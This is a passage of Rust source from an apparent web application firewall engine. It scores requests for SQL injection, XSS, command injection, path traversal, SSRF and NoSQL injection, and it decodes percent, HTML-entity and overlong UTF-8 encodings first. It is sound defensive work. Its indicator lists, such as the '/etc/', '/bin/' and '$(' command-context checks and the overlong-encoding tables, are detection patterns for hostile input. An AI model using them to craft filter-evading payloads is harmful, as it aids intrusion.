1031 let uri = ctx.url;
1032 let Some(match_value) = condition.match_value.as_ref() else {
1033 return false;
1034 };
1035 if let Some(s) = match_value.as_str() {
1036 return uri.contains(s);
1037 }
1038 if let Some(child) = match_value.as_cond() {
1039 return self.eval_condition(child, ctx, Some(uri), trace, rule_id, depth + 1);
1040 }
1041 false
1042 }
1043
1044 fn eval_args(
1045 &self,
1046 condition: &MatchCondition,
1047 ctx: &EvalContext,
1048 trace: &mut TraceState,
1049 rule_id: u32,
1050 depth: u32,
1051 ) -> bool {
1052 let Some(child) = condition.match_value.as_ref().and_then(|m| m.as_cond()) else {
1053 return false;
1054 };
1055 for candidate in &ctx.args {
1056 if self.eval_condition(child, ctx, Some(candidate), trace, rule_id, depth + 1) {
1057 return true;
1058 }
1059 }
1060 false
1061 }
1062
1063 fn eval_named_argument(
1064 &self,
1065 condition: &MatchCondition,
1066 ctx: &EvalContext,
1067 trace: &mut TraceState,
1068 rule_id: u32,
1069 depth: u32,
1070 ) -> bool {
1071 let Some(child) = condition.match_value.as_ref().and_then(|m| m.as_cond()) else {
1072 return false;
1073 };
1074 let name = condition.name.as_deref().unwrap_or("*");
1075 for entry in &ctx.arg_entries {
1076 if (name == "*" || entry.key == name)
1077 && self.eval_condition(child, ctx, Some(&entry.value), trace, rule_id, depth + 1)
1078 {
1079 return true;
1080 }
1081 }
1082 false
1083 }
1084
1085 fn eval_header(
1086 &self,
1087 condition: &MatchCondition,
1088 ctx: &EvalContext,
1089 trace: &mut TraceState,
1090 rule_id: u32,
1091 depth: u32,
1092 ) -> bool {
1093 if let Some(direction) = condition.direction.as_deref() {
1094 if direction != "c2s" {
1095 return false;
1096 }
1097 }
1098 let Some(field) = condition.field.as_deref() else {
1099 return false;
1100 };
1101 let header_value = get_header_value(&ctx.headers, field);
1102 let Some(header_value) = header_value else {
1103 return false;
1104 };
1105 if condition.match_value.is_none() {
1106 return true;
1107 }
1108 let Some(child) = condition.match_value.as_ref().and_then(|m| m.as_cond()) else {
1109 return false;
1110 };
1111 self.eval_condition(child, ctx, Some(header_value), trace, rule_id, depth + 1)
1112 }
1113
1114 fn eval_regex(&self, match_value: Option<&MatchValue>, value: Option<&str>) -> bool {
1115 let Some(value) = value else {
1116 return false;
1117 };
1118 let Some(pattern) = match_value.and_then(|m| m.as_str()) else {
1119 return false;
1120 };
1121 let Some(re) = self.regex_cache.get(pattern) else {
1122 return false;
1123 };
1124 re.is_match(value)
1125 }
1126
1127 fn eval_word(&self, match_value: Option<&MatchValue>, value: Option<&str>) -> bool {
1128 let Some(value) = value else {
1129 return false;
1130 };
1131 let Some(word) = match_value.and_then(|m| m.as_str()) else {
1132 return false;
1133 };
1134 if let Some(re) = self.word_regex_cache.get(word) {
1135 return re.is_match(value);
1136 }
1137 let pattern = format!(r"(?i)\b{}\b", regex::escape(word));
1139 let Ok(re) = RegexBuilder::new(&pattern).multi_line(true).build() else {
1140 return false;
1141 };
1142 re.is_match(value)
1143 }
1144
1145 fn eval_sql_analyzer(
1146 &self,
1147 condition: &MatchCondition,
1148 value: Option<&str>,
1149 ctx: &EvalContext,
1150 trace: &mut TraceState,
1151 rule_id: u32,
1152 depth: u32,
1153 ) -> bool {
1154 let Some(value) = value else {
1155 return false;
1156 };
1157 let score = sql_analyzer_score(value);
1158 match condition.match_value.as_ref().and_then(|m| m.as_cond()) {
1159 Some(child) => self.eval_condition(
1160 child,
1161 ctx,
1162 Some(&score.to_string()),
1163 trace,
1164 rule_id,
1165 depth + 1,
1166 ),
1167 None => score > 0,
1168 }
1169 }
1170
1171 fn eval_xss_analyzer(
1172 &self,
1173 condition: &MatchCondition,
1174 value: Option<&str>,
1175 ctx: &EvalContext,
1176 trace: &mut TraceState,
1177 rule_id: u32,
1178 depth: u32,
1179 ) -> bool {
1180 let Some(value) = value else {
1181 return false;
1182 };
1183 let score = xss_analyzer_score(value);
1184 match condition.match_value.as_ref().and_then(|m| m.as_cond()) {
1185 Some(child) => self.eval_condition(
1186 child,
1187 ctx,
1188 Some(&score.to_string()),
1189 trace,
1190 rule_id,
1191 depth + 1,
1192 ),
1193 None => score > 0,
1194 }
1195 }
1196
1197 fn eval_cmd_analyzer(
1198 &self,
1199 condition: &MatchCondition,
1200 value: Option<&str>,
1201 ctx: &EvalContext,
1202 trace: &mut TraceState,
1203 rule_id: u32,
1204 depth: u32,
1205 ) -> bool {
1206 let Some(value) = value else {
1207 return false;
1208 };
1209 let score = cmd_analyzer_score(value);
1210 match condition.match_value.as_ref().and_then(|m| m.as_cond()) {
1211 Some(child) => self.eval_condition(
1212 child,
1213 ctx,
1214 Some(&score.to_string()),
1215 trace,
1216 rule_id,
1217 depth + 1,
1218 ),
1219 None => score > 0,
1220 }
1221 }
1222
1223 fn eval_path_traversal_analyzer(
1224 &self,
1225 condition: &MatchCondition,
1226 value: Option<&str>,
1227 ctx: &EvalContext,
1228 trace: &mut TraceState,
1229 rule_id: u32,
1230 depth: u32,
1231 ) -> bool {
1232 let Some(value) = value else {
1233 return false;
1234 };
1235 let score = path_traversal_analyzer_score(value);
1236 match condition.match_value.as_ref().and_then(|m| m.as_cond()) {
1237 Some(child) => self.eval_condition(
1238 child,
1239 ctx,
1240 Some(&score.to_string()),
1241 trace,
1242 rule_id,
1243 depth + 1,
1244 ),
1245 None => score > 0,
1246 }
1247 }
1248
1249 fn eval_ssrf_analyzer(
1254 &self,
1255 condition: &MatchCondition,
1256 value: Option<&str>,
1257 ctx: &EvalContext,
1258 trace: &mut TraceState,
1259 rule_id: u32,
1260 depth: u32,
1261 ) -> bool {
1262 let Some(value) = value else {
1263 return false;
1264 };
1265 let score = ssrf_analyzer_score(value);
1266 match condition.match_value.as_ref().and_then(|m| m.as_cond()) {
1267 Some(child) => self.eval_condition(
1268 child,
1269 ctx,
1270 Some(&score.to_string()),
1271 trace,
1272 rule_id,
1273 depth + 1,
1274 ),
1275 None => score > 0,
1276 }
1277 }
1278
1279 fn eval_nosql_analyzer(
1284 &self,
1285 condition: &MatchCondition,
1286 value: Option<&str>,
1287 ctx: &EvalContext,
1288 trace: &mut TraceState,
1289 rule_id: u32,
1290 depth: u32,
1291 ) -> bool {
1292 let Some(value) = value else {
1293 return false;
1294 };
1295 let score = nosql_analyzer_score(value);
1296 match condition.match_value.as_ref().and_then(|m| m.as_cond()) {
1297 Some(child) => self.eval_condition(
1298 child,
1299 ctx,
1300 Some(&score.to_string()),
1301 trace,
1302 rule_id,
1303 depth + 1,
1304 ),
1305 None => score > 0,
1306 }
1307 }
1308
1309 fn eval_parse_multipart(
1310 &self,
1311 condition: &MatchCondition,
1312 ctx: &EvalContext,
1313 trace: &mut TraceState,
1314 rule_id: u32,
1315 depth: u32,
1316 ) -> bool {
1317 let Some(child) = condition.match_value.as_ref().and_then(|m| m.as_cond()) else {
1318 return false;
1319 };
1320 let raw_bytes: &[u8] = if let Some(body_text) = ctx.body_text {
1321 body_text.as_bytes()
1322 } else if let Some(raw) = ctx.raw_body {
1323 raw
1324 } else {
1325 return false;
1326 };
1327 let content_type = ctx.headers.get("content-type").copied().unwrap_or("");
1328 let Some(boundary) = extract_multipart_boundary(content_type) else {
1329 return false;
1330 };
1331 let values = parse_multipart_values(raw_bytes, &boundary);
1332 for part_value in &values {
1333 if self.eval_condition(child, ctx, Some(part_value), trace, rule_id, depth + 1) {
1334 return true;
1335 }
1336 }
1337 false
1338 }
1339
1340 fn eval_track_by_ip(
1341 &self,
1342 condition: &MatchCondition,
1343 ctx: &EvalContext,
1344 trace: &mut TraceState,
1345 rule_id: u32,
1346 depth: u32,
1347 ) -> bool {
1348 let Some(child) = condition.match_value.as_ref().and_then(|m| m.as_cond()) else {
1349 return false;
1350 };
1351 self.process_track_condition(child, ctx, Vec::new(), trace, rule_id, depth + 1)
1352 }
1353
1354 fn eval_extract_argument(
1355 &self,
1356 condition: &MatchCondition,
1357 ctx: &EvalContext,
1358 trace: &mut TraceState,
1359 rule_id: u32,
1360 depth: u32,
1361 ) -> bool {
1362 let selector = condition.selector.as_deref();
1363 let extracted = select_argument_values(self, selector, ctx);
1364 if extracted.is_empty() {
1365 return false;
1366 }
1367 match condition.match_value.as_ref().and_then(|m| m.as_cond()) {
1368 Some(child) => {
1369 self.process_track_condition(child, ctx, extracted, trace, rule_id, depth + 1)
1370 }
1371 None => true,
1372 }
1373 }
1374
1375 fn eval_unique_count(
1376 &self,
1377 condition: &MatchCondition,
1378 ctx: &EvalContext,
1379 value: Option<&str>,
1380 values: &[String],
1381 trace: &mut TraceState,
1382 rule_id: u32,
1383 depth: u32,
1384 ) -> bool {
1385 let timeframe = condition.timeframe.unwrap_or(60);
1386 let trace_label = "unique_count";
1387
1388 let values_to_record: Vec<String> = if !values.is_empty() {
1389 values.to_vec()
1390 } else if let Some(v) = value {
1391 vec![v.to_string()]
1392 } else {
1393 Vec::new()
1394 };
1395
1396 let unique_count = {
1397 let mut store = self.store.write();
1398 if values_to_record.is_empty() {
1399 store.get_unique_count(ctx.ip, trace_label, timeframe)
1400 } else {
1401 store.record_unique_values(ctx.ip, trace_label, &values_to_record, timeframe)
1402 }
1403 };
1404
1405 if let Some(mv) = condition.match_value.as_ref() {
1406 if let Some(child) = mv.as_cond() {
1407 return self.eval_condition(
1408 child,
1409 ctx,
1410 Some(&unique_count.to_string()),
1411 trace,
1412 rule_id,
1413 depth + 1,
1414 );
1415 }
1416 if let Some(num) = mv.as_num() {
1417 return unique_count as f64 >= num;
1418 }
1419 }
1420
1421 if let Some(count) = condition.count {
1422 unique_count as u64 >= count
1423 } else {
1424 unique_count > 0
1425 }
1426 }
1427
1428 fn eval_count(
1429 &self,
1430 condition: &MatchCondition,
1431 ctx: &EvalContext,
1432 trace: &mut TraceState,
1433 rule_id: u32,
1434 depth: u32,
1435 ) -> bool {
1436 let timeframe = condition.timeframe.unwrap_or(60);
1437 let trace_label = "count";
1438
1439 if let Some(child) = condition.match_value.as_ref().and_then(|m| m.as_cond()) {
1440 if !self.eval_condition(child, ctx, None, trace, rule_id, depth + 1) {
1441 return false;
1442 }
1443 }
1444
1445 let count = {
1446 let mut store = self.store.write();
1447 store.record_event(ctx.ip, trace_label, timeframe)
1448 };
1449
1450 let threshold = condition.count.unwrap_or(1);
1451 count as u64 >= threshold
1452 }
1453
1454 fn process_track_condition(
1455 &self,
1456 condition: &MatchCondition,
1457 ctx: &EvalContext,
1458 values: Vec<String>,
1459 trace: &mut TraceState,
1460 rule_id: u32,
1461 depth: u32,
1462 ) -> bool {
1463 match condition.kind.as_str() {
1464 "extract_argument" => {
1465 let selector = condition.selector.as_deref();
1466 let extracted = select_argument_values(self, selector, ctx);
1467 if extracted.is_empty() {
1468 return false;
1469 }
1470 match condition.match_value.as_ref().and_then(|m| m.as_cond()) {
1471 Some(child) => self.process_track_condition(
1472 child,
1473 ctx,
1474 extracted,
1475 trace,
1476 rule_id,
1477 depth + 1,
1478 ),
1479 None => {
1480 let mut store = self.store.write();
1481 store.record_unique_values(ctx.ip, "extract", &extracted, 60);
1482 true
1483 }
1484 }
1485 }
1486 "unique_count" => {
1487 self.eval_unique_count(condition, ctx, None, &values, trace, rule_id, depth + 1)
1488 }
1489 "count" => self.eval_count(condition, ctx, trace, rule_id, depth + 1),
1490 _ => {
1491 let candidate = values.first().map(|s| s.as_str());
1492 self.eval_condition(condition, ctx, candidate, trace, rule_id, depth + 1)
1493 }
1494 }
1495 }
1496}
1497
1498fn compute_available_features(ctx: &EvalContext) -> u16 {
1501 let mut out = 0u16;
1502 if !ctx.args.is_empty() {
1503 out |= REQ_ARGS;
1504 }
1505 if !ctx.arg_entries.is_empty() {
1506 out |= REQ_ARG_ENTRIES;
1507 }
1508 let has_body = ctx.body_text.is_some() || ctx.raw_body.is_some();
1509 if has_body {
1510 out |= REQ_BODY;
1511 }
1512 if ctx.json_text.is_some() {
1513 out |= REQ_JSON;
1514 }
1515 out
1516}
1517
1518fn compute_request_header_mask(index: &RuleIndex, headers: &HashMap<String, &str>) -> u64 {
1519 let mut mask = 0u64;
1520 for (bit, header) in index.header_bits.iter().enumerate() {
1521 if bit >= 64 {
1522 break;
1523 }
1524 if headers.contains_key(header) {
1525 mask |= 1u64 << bit;
1526 }
1527 }
1528 mask
1529}
1530
1531fn get_header_value<'a>(headers: &'a HashMap<String, &'a str>, field: &str) -> Option<&'a str> {
1532 let key = field.to_ascii_lowercase();
1533 headers
1534 .get(&key)
1535 .copied()
1536 .or_else(|| headers.get(field).copied())
1537}
1538
1539fn eval_contains(match_value: Option<&MatchValue>, value: Option<&str>) -> bool {
1540 let Some(value) = value else {
1541 return false;
1542 };
1543 let Some(s) = match_value.and_then(|m| m.as_str()) else {
1544 return false;
1545 };
1546 value.contains(s)
1547}
1548
1549fn eval_starts_with(match_value: Option<&MatchValue>, value: Option<&str>) -> bool {
1550 let Some(value) = value else {
1551 return false;
1552 };
1553 let Some(s) = match_value.and_then(|m| m.as_str()) else {
1554 return false;
1555 };
1556 value.starts_with(s)
1557}
1558
1559fn eval_equals(match_value: Option<&MatchValue>, value: Option<&str>) -> bool {
1560 let Some(value) = value else {
1561 return false;
1562 };
1563 let Some(s) = match_value.and_then(|m| m.as_str()) else {
1564 return false;
1565 };
1566 value == s
1567}
1568
1569fn eval_multiple_contains(match_value: Option<&MatchValue>, value: Option<&str>) -> bool {
1570 let Some(value) = value else {
1571 return false;
1572 };
1573 let Some(arr) = match_value.and_then(|m| m.as_arr()) else {
1574 return false;
1575 };
1576 for item in arr {
1577 if let Some(s) = item.as_str() {
1578 if value.contains(s) {
1579 return true;
1580 }
1581 }
1582 }
1583 false
1584}
1585
1586fn eval_hashset(match_value: Option<&MatchValue>, value: Option<&str>) -> bool {
1587 let Some(value) = value else {
1588 return false;
1589 };
1590 let Some(arr) = match_value.and_then(|m| m.as_arr()) else {
1591 return false;
1592 };
1593 for item in arr {
1594 if let Some(s) = item.as_str() {
1595 if s.eq_ignore_ascii_case(value) {
1596 return true;
1597 }
1598 }
1599 }
1600 false
1601}
1602
1603fn eval_compare(condition: &MatchCondition, candidate: Option<&str>) -> bool {
1604 let Some(candidate) = candidate else {
1605 return false;
1606 };
1607 let Ok(candidate_num) = candidate.parse::<f64>() else {
1608 return false;
1609 };
1610 let Some(target) = condition.match_value.as_ref().and_then(|m| m.as_num()) else {
1611 return false;
1612 };
1613 let op = condition.op.as_deref().unwrap_or("eq");
1614 match op {
1615 "gte" => candidate_num >= target,
1616 "lte" => candidate_num <= target,
1617 "gt" => candidate_num > target,
1618 "lt" => candidate_num < target,
1619 "eq" => candidate_num == target,
1620 _ => false,
1621 }
1622}
1623
1624fn eval_count_odd(match_value: Option<&MatchValue>, value: Option<&str>) -> bool {
1625 let Some(value) = value else {
1626 return false;
1627 };
1628 let Some(needle) = match_value.and_then(|m| m.as_str()) else {
1629 return false;
1630 };
1631 if needle.is_empty() {
1632 return false;
1633 }
1634 let count = value.matches(needle).count();
1635 count % 2 == 1
1636}
1637
1638fn sql_analyzer_score(value: &str) -> u32 {
1639 if SQL_KEYWORDS.is_match(value)
1640 || SQL_PHRASES.is_match(value)
1641 || SQL_OR_AND_EQ.is_match(value)
1642 || SQL_COMMENT_1.is_match(value)
1643 || SQL_COMMENT_2.is_match(value)
1644 || SQL_SHUTDOWN.is_match(value)
1645 {
1646 1
1647 } else {
1648 0
1649 }
1650}
1651
1652fn cmd_analyzer_score(value: &str) -> u32 {
1665 if check_cmd_patterns(value) {
1667 return 1;
1668 }
1669
1670 let decoded = safe_percent_decode(value);
1672 if decoded != value && check_cmd_patterns(&decoded) {
1673 return 1;
1674 }
1675
1676 if decoded.contains('%') {
1678 let double_decoded = safe_percent_decode(&decoded);
1679 if double_decoded != decoded && check_cmd_patterns(&double_decoded) {
1680 return 1;
1681 }
1682 }
1683
1684 0
1685}
1686
1687#[inline]
1692fn check_cmd_patterns(value: &str) -> bool {
1693 CMD_BACKTICK.is_match(value)
1695 || CMD_SUBSHELL.is_match(value)
1696 || CMD_DANGEROUS.is_match(value)
1697 || CMD_IFS.is_match(value)
1699 || CMD_VAR_SUBST.is_match(value)
1701 || CMD_NEWLINE_LITERAL.is_match(value)
1703 || CMD_NEWLINE_ENCODED.is_match(value)
1705 || CMD_NULL_BYTE.is_match(value)
1707 || CMD_BRACE.is_match(value)
1709 || (CMD_CHAIN.is_match(value) && has_cmd_context(value))
1712 || (CMD_REDIRECT.is_match(value) && has_cmd_context(value))
1714 || (CMD_PATH_TRAVERSAL.is_match(value) && has_cmd_context(value))
1716}
1717
1718#[inline]
1720fn has_cmd_context(value: &str) -> bool {
1721 value.contains('`')
1723 || value.contains("$(")
1724 || value.contains("${")
1725 || CMD_DANGEROUS.is_match(value)
1726 || value.contains("/bin/")
1727 || value.contains("/usr/bin/")
1728 || value.contains("/etc/")
1729 || value.contains("/tmp/")
1730 || value.contains("/dev/")
1731}
1732
1733fn path_traversal_analyzer_score(value: &str) -> u32 {
1743 if check_path_traversal_patterns(value) {
1745 return 1;
1746 }
1747
1748 let decoded = safe_percent_decode(value);
1750 if decoded != value && check_path_traversal_patterns(&decoded) {
1751 return 1;
1752 }
1753
1754 if decoded.contains('%') {
1756 let double_decoded = safe_percent_decode(&decoded);
1757 if double_decoded != decoded && check_path_traversal_patterns(&double_decoded) {
1758 return 1;
1759 }
1760
1761 if double_decoded.contains('%') {
1763 let triple_decoded = safe_percent_decode(&double_decoded);
1764 if triple_decoded != double_decoded && check_path_traversal_patterns(&triple_decoded) {
1765 return 1;
1766 }
1767 }
1768 }
1769
1770 let normalized = normalize_unicode_path(value);
1772 if normalized != value && check_path_traversal_patterns(&normalized) {
1773 return 1;
1774 }
1775
1776 0
1777}
1778
1779#[inline]
1781fn check_path_traversal_patterns(value: &str) -> bool {
1782 PATH_TRAV_BASIC.is_match(value)
1784 || PATH_TRAV_ENCODED.is_match(value)
1786 || PATH_TRAV_DOUBLE.is_match(value)
1788 || PATH_TRAV_UNICODE.is_match(value)
1790 || PATH_TRAV_BACKSLASH.is_match(value)
1792 || PATH_TRAV_NULL.is_match(value)
1794 || (has_traversal_context(value) && check_sensitive_targets(value))
1796}
1797
1798#[inline]
1800fn has_traversal_context(value: &str) -> bool {
1801 value.contains("..")
1802 || value.contains("%2e")
1803 || value.contains("%2E")
1804 || value.contains("%c0")
1805 || value.contains("%C0")
1806}
1807
1808#[inline]
1810fn check_sensitive_targets(value: &str) -> bool {
1811 PATH_TRAV_TARGETS_UNIX.is_match(value) || PATH_TRAV_TARGETS_WIN.is_match(value)
1812}
1813
1814fn normalize_unicode_path(value: &str) -> String {
1821 let mut result = value.to_string();
1822
1823 result = result
1825 .replace("%c0%ae", ".")
1826 .replace("%C0%AE", ".")
1827 .replace("%c0%2e", ".")
1828 .replace("%C0%2E", ".")
1829 .replace("%e0%80%ae", ".")
1830 .replace("%E0%80%AE", ".");
1831
1832 result = result
1834 .replace("%c0%af", "/")
1835 .replace("%C0%AF", "/")
1836 .replace("%e0%80%af", "/")
1837 .replace("%E0%80%AF", "/");
1838
1839 result = result
1841 .replace("%c1%9c", "\\")
1842 .replace("%C1%9C", "\\")
1843 .replace("%c1%1c", "\\")
1844 .replace("%C1%1C", "\\");
1845
1846 result
1847}
1848
1849fn ssrf_analyzer_score(value: &str) -> u32 {
1861 if check_ssrf_patterns(value) {
1863 return 1;
1864 }
1865
1866 let decoded = safe_percent_decode(value);
1868 if decoded != value && check_ssrf_patterns(&decoded) {
1869 return 1;
1870 }
1871
1872 if decoded.contains('%') {
1874 let double_decoded = safe_percent_decode(&decoded);
1875 if double_decoded != decoded && check_ssrf_patterns(&double_decoded) {
1876 return 1;
1877 }
1878 }
1879
1880 0
1881}
1882
1883#[inline]
1890fn check_ssrf_patterns(value: &str) -> bool {
1891 SSRF_DANGEROUS_SCHEME.is_match(value)
1893 || SSRF_CLOUD_METADATA.is_match(value)
1895 || SSRF_METADATA_HOST.is_match(value)
1896 || SSRF_LOCALHOST_V4.is_match(value)
1898 || SSRF_LOCALHOST_V6.is_match(value)
1899 || SSRF_MAPPED_IPV6.is_match(value)
1901 || SSRF_PRIVATE_IP.is_match(value)
1903 || SSRF_LINK_LOCAL.is_match(value)
1905 || SSRF_ENCODED_IP.is_match(value)
1907}
1908
1909fn nosql_analyzer_score(value: &str) -> u32 {
1923 if check_nosql_patterns(value) {
1925 return 1;
1926 }
1927
1928 let decoded = safe_percent_decode(value);
1930 if decoded != value && check_nosql_patterns(&decoded) {
1931 return 1;
1932 }
1933
1934 if decoded.contains('%') {
1936 let double_decoded = safe_percent_decode(&decoded);
1937 if double_decoded != decoded && check_nosql_patterns(&double_decoded) {
1938 return 1;
1939 }
1940 }
1941
1942 0
1943}
1944
1945#[inline]
1949fn check_nosql_patterns(value: &str) -> bool {
1950 if NOSQL_WHERE_JS.is_match(value) {
1952 return true;
1953 }
1954
1955 if NOSQL_AUTH_BYPASS.is_match(value) {
1957 return true;
1958 }
1959
1960 if JSON_PROTO_POLLUTION.is_match(value) {
1962 return true;
1963 }
1964
1965 NOSQL_MONGO_OPERATORS.is_match(value)
1967 || NOSQL_AGGREGATION.is_match(value)
1968 || NOSQL_COUCHDB.is_match(value)
1969 || NOSQL_REDIS.is_match(value)
1970 || NOSQL_CASSANDRA.is_match(value)
1971}
1972
1973fn xss_analyzer_score(value: &str) -> u32 {
1978 if check_xss_patterns(value) {
1980 return 1;
1981 }
1982
1983 let decoded = decode_html_entities(value);
1985 if decoded != value && check_xss_patterns(&decoded) {
1986 return 1;
1987 }
1988
1989 if decoded.contains('&') {
1991 let double_decoded = decode_html_entities(&decoded);
1992 if double_decoded != decoded && check_xss_patterns(&double_decoded) {
1993 return 1;
1994 }
1995 }
1996
1997 0
1998}
1999
2000#[inline]
2002fn check_xss_patterns(value: &str) -> bool {
2003 XSS_SCRIPT.is_match(value)
2004 || XSS_JS_SCHEME.is_match(value)
2005 || XSS_ON_ATTR.is_match(value)
2006 || XSS_COOKIE.is_match(value)
2007 || XSS_IMG_SRC.is_match(value)
2008}
2009
2010fn decode_html_entities(value: &str) -> String {
2020 if !value.contains('&') {
2021 return value.to_string();
2022 }
2023
2024 let mut result = String::with_capacity(value.len());
2025 let mut chars = value.chars().peekable();
2026
2027 while let Some(c) = chars.next() {
2028 if c == '&' {
2029 let mut entity = String::new();
2030 let mut found_semicolon = false;
2031
2032 for _ in 0..10 {
2034 match chars.peek() {
2035 Some(';') => {
2036 chars.next();
2037 found_semicolon = true;
2038 break;
2039 }
2040 Some(&ch) if ch.is_ascii_alphanumeric() || ch == '#' => {
2041 if let Some(next) = chars.next() {
2042 entity.push(next);
2043 } else {
2044 break;
2045 }
2046 }
2047 _ => break,
2048 }
2049 }
2050
2051 if found_semicolon && !entity.is_empty() {
2052 if let Some(decoded) = decode_single_entity(&entity) {
2053 result.push(decoded);
2054 continue;
2055 }
2056 }
2057
2058 result.push('&');
2060 result.push_str(&entity);
2061 if found_semicolon {
2062 result.push(';');
2063 }
2064 } else {
2065 result.push(c);
2066 }
2067 }
2068
2069 result
2070}
2071
2072fn decode_single_entity(entity: &str) -> Option<char> {
2074 if let Some(num_str) = entity.strip_prefix('#') {
2076 if let Some(hex_str) = num_str
2078 .strip_prefix('x')
2079 .or_else(|| num_str.strip_prefix('X'))
2080 {
2081 if let Ok(code) = u32::from_str_radix(hex_str, 16) {
2082 return char::from_u32(code);
2083 }
2084 } else if let Ok(code) = num_str.parse::<u32>() {
2085 return char::from_u32(code);
2086 }
2087 return None;
2088 }
2089
2090 match entity {
2092 "lt" => Some('<'),
2093 "gt" => Some('>'),
2094 "amp" => Some('&'),
2095 "quot" => Some('"'),
2096 "apos" => Some('\''),
2097 "nbsp" => Some('\u{00A0}'),
2098 "tab" | "Tab" => Some('\t'),
2100 "newline" | "NewLine" => Some('\n'),
2101 "colon" => Some(':'),
2102 "sol" => Some('/'),
2103 "equals" => Some('='),
2104 "lpar" => Some('('),
2105 "rpar" => Some(')'),
2106 "lsqb" | "lbrack" => Some('['),
2107 "rsqb" | "rbrack" => Some(']'),
2108 "lcub" | "lbrace" => Some('{'),
2109 "rcub" | "rbrace" => Some('}'),
2110 "semi" => Some(';'),
2111 "comma" => Some(','),
2112 "period" | "dot" => Some('.'),
2113 "excl" => Some('!'),
2114 "quest" => Some('?'),
2115 "num" => Some('#'),
2116 "percnt" => Some('%'),
2117 "plus" => Some('+'),
2118 "minus" | "dash" => Some('-'),
2119 "ast" | "midast" => Some('*'),
2120 "verbar" | "vert" => Some('|'),
2121 "bsol" => Some('\\'),
2122 "circ" => Some('^'),
2123 "grave" => Some('`'),
2124 "tilde" => Some('~'),
2125 "at" => Some('@'),
2126 _ => None,
2127 }
2128}
2129
2130fn safe_percent_decode(value: &str) -> String {
2131 let replaced = value.replace('+', " ");
2133 percent_decode_str(&replaced)
2134 .decode_utf8()
2135 .map(|c| c.into_owned())
2136 .unwrap_or_else(|_| value.to_string())
2137}
2138
2139fn decode_if_base64(value: &str) -> String {
2140 let sanitized = value.trim();
2141 if sanitized.len() < 8 {
2142 return value.to_string();
2143 }
2144
2145 if let Ok(bytes) = BASE64_STANDARD.decode(sanitized.as_bytes()) {
2147 if let Ok(decoded) = String::from_utf8(bytes) {
2148 if !decoded.is_empty() {
2149 return decoded;
2150 }
2151 }
2152 }
2153
2154 use base64::engine::general_purpose::URL_SAFE_NO_PAD;
2156 if let Ok(bytes) = URL_SAFE_NO_PAD.decode(sanitized.as_bytes()) {
2157 if let Ok(decoded) = String::from_utf8(bytes) {
2158 if !decoded.is_empty() {
2159 return decoded;
2160 }
2161 }
2162 }
2163
2164 value.to_string()
2165}
2166
2167fn build_raw_request(ctx: &EvalContext) -> String {
2168 let mut out = String::new();
2169 out.push_str(&format!("{} {} HTTP/1.1", ctx.method, ctx.url));
2170 out.push('\n');
2171 for (key, value) in &ctx.headers {
2172 out.push_str(key);
2173 out.push_str(": ");
2174 out.push_str(value);
2175 out.push('\n');
2176 }
2177 out.push('\n');
2178 if let Some(body) = ctx.body_text {
2179 out.push_str(body);
2180 }
2181 out
2182}
2183
2184fn extract_multipart_boundary(content_type: &str) -> Option<String> {
2185 content_type
2186 .split(';')
2187 .map(|p| p.trim())
2188 .find_map(|p| {
2189 let (key, value) = p.split_once('=')?;
2190 if key.trim().eq_ignore_ascii_case("boundary") {
2191 Some(value.trim().trim_matches('"').to_string())
2192 } else {
2193 None
2194 }
2195 })
2196 .filter(|b| !b.is_empty())
2197}
2198
2199fn parse_multipart_values(raw_body: &[u8], boundary: &str) -> Vec<String> {
2200 let body = String::from_utf8_lossy(raw_body);
2201 let marker = format!("--{}", boundary);
2202 let mut out = Vec::new();
2203 for part in body.split(&marker) {
2204 let mut p = part.trim_matches('\r').trim_matches('\n').trim();
2205 if p.is_empty() || p == "--" {
2206 continue;
2207 }
2208 if p.starts_with("--") {
2209 continue;
2210 }
2211 if p.starts_with("\r\n") {
2212 p = &p[2..];
2213 }
2214 if let Some((_, rest)) = p.split_once("\r\n\r\n") {
2215 let value = rest.trim_end_matches("\r\n").trim().to_string();
2216 if !value.is_empty() {
2217 out.push(value);
2218 }
2219 }
2220 }
2221 out
2222}
2223
2224fn select_argument_values(
2225 engine: &Engine,
2226 selector: Option<&MatchCondition>,
2227 ctx: &EvalContext,
2228) -> Vec<String> {
2229 let mut values = Vec::new();
2230 for entry in &ctx.arg_entries {
2231 if selector
2232 .map(|sel| matches_selector(engine, sel, &entry.key))
2233 .unwrap_or(true)
2234 {
2235 values.push(entry.value.clone());
2236 }
2237 }
2238 values
2239}
2240
2241fn matches_selector(engine: &Engine, selector: &MatchCondition, candidate: &str) -> bool {
2242 match selector.kind.as_str() {
2243 "to_lowercase" => {
2244 let lowered = candidate.to_lowercase();
2245 selector
2246 .match_value
2247 .as_ref()
2248 .and_then(|m| m.as_cond())
2249 .map(|child| matches_selector(engine, child, &lowered))
2250 .unwrap_or(true)
2251 }
2252 "regex" => engine.eval_regex(selector.match_value.as_ref(), Some(candidate)),
2253 "hashset" => eval_hashset(selector.match_value.as_ref(), Some(candidate)),
2254 "multiple_contains" => {
2255 eval_multiple_contains(selector.match_value.as_ref(), Some(candidate))
2256 }
2257 "contains" => eval_contains(selector.match_value.as_ref(), Some(candidate)),
2258 "equals" => eval_equals(selector.match_value.as_ref(), Some(candidate)),
2259 _ => false,
2260 }
2261}
2262
2263fn collect_regex_patterns(condition: &MatchCondition, out: &mut Vec<String>) {
2264 if condition.kind == "regex" {
2265 if let Some(MatchValue::Str(s)) = condition.match_value.as_ref() {
2266 out.push(s.clone());
2267 }
2268 }
2269 if let Some(mv) = condition.match_value.as_ref() {
2270 if let Some(child) = mv.as_cond() {
2271 collect_regex_patterns(child, out);
2272 } else if let Some(arr) = mv.as_arr() {
2273 for item in arr {
2274 if let Some(child) = item.as_cond() {
2275 collect_regex_patterns(child, out);
2276 }
2277 }
2278 }
2279 }
2280 if let Some(selector) = condition.selector.as_ref() {
2281 collect_regex_patterns(selector, out);
2282 }
2283}
2284
2285fn collect_word_values(condition: &MatchCondition, out: &mut Vec<String>) {
2286 if condition.kind == "word" {
2287 if let Some(MatchValue::Str(s)) = condition.match_value.as_ref() {
2288 out.push(s.clone());
2289 }
2290 }
2291 if let Some(mv) = condition.match_value.as_ref() {
2292 if let Some(child) = mv.as_cond() {
2293 collect_word_values(child, out);
2294 } else if let Some(arr) = mv.as_arr() {
2295 for item in arr {
2296 if let Some(child) = item.as_cond() {
2297 collect_word_values(child, out);
2298 }
2299 }
2300 }
2301 }
2302 if let Some(selector) = condition.selector.as_ref() {
2303 collect_word_values(selector, out);
2304 }
2305}
2306
2307#[cfg(test)]
2308mod tests {
2309 use super::*;
2310 use crate::waf::types::Header;
2311
2312 #[test]
2313 fn test_empty_engine() {
